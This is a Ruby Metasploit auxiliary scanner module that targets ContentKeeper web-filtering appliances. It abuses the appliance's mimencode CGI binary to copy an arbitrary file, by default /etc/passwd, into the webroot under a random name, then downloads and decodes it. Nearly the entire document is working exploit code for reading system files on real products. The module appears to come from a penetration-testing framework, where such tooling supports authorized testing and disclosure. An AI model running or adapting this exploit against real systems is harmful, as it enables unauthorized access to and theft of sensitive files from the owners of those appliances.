72 lines
2.4 KiB
Ruby
72 lines
2.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'ContentKeeper Web Appliance mimencode File Access',
|
|
'Description' => %q{
|
|
This module abuses the 'mimencode' binary present within
|
|
ContentKeeper Web filtering appliances to retrieve arbitrary
|
|
files outside of the webroot.
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '54551' ],
|
|
[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
|
|
],
|
|
'Author' => [ 'patrick' ],
|
|
'License' => MSF_LICENSE)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
|
|
OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),
|
|
], self.class)
|
|
end
|
|
|
|
def run_host(ip)
|
|
begin
|
|
tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traveral data in a hard-to-brute filename, just in case.
|
|
|
|
print_status("Attempting to connect to #{rhost}:#{rport}")
|
|
res = send_request_raw(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE'],
|
|
}, 25)
|
|
|
|
if (res and res.code == 500)
|
|
|
|
print_status("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")
|
|
|
|
file = send_request_raw(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => '/' + tmpfile,
|
|
}, 25)
|
|
|
|
if (file and file.code == 200)
|
|
print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")
|
|
elsif (file and file.code)
|
|
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
|
|
end
|
|
elsif (res and res.code)
|
|
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
end
|
|
end
|